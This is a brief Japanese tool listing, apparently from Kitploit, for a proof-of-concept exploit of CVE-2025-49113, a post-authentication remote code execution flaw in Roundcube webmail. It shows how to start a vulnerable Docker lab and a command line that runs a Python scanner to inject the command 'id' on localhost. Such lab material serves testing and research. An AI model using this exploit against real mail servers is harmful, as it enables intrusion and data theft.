CVE-2025-49113-PoC — 認証後リモートコード実行の概念実証 - RoundcubeウェブメールのCVE-2025-49113に対するものです。脆弱なDocker環境とコマンドインジェクションのテスト用Pythonスキャナが含まれています。 | Kitploit

CVE-2025-49113 Roundcube RCE PoC

🚀 プロジェクトの起動方法

1. 脆弱なサーバーの起動

cd Stand
docker-compose up -d

2. ターゲットに対するスクリプトの実行

cd PoC/src
python3 scanner.py --target http://localhost:9000 --username test --password test --command "id"

📌 主な要件

認証が必要 (Post-Auth)
認証情報: test / test
ターゲットURL: http://localhost:9000

ツールをダウンロード